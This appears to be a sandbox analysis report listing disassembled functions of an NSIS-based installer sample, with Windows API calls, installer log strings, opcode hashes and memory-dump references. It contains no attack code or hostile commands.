SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(007EEE60), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
%NodeTransexual%, xrefs: 00401EFB, 00401F00, 00401F1A
`~, xrefs: 00401EBC, 00401F06, 00401F15, 00401F48, 00401F6E, 00401F75

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: %NodeTransexual%$Exch: stack < %d elements$Pop: stack empty$`~
API String ID: 1459762280-2278293435
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(007EEE60), ref: 00402387

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

%NodeTransexual%, xrefs: 00402770
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: %NodeTransexual%$<RM>$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-375107294
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
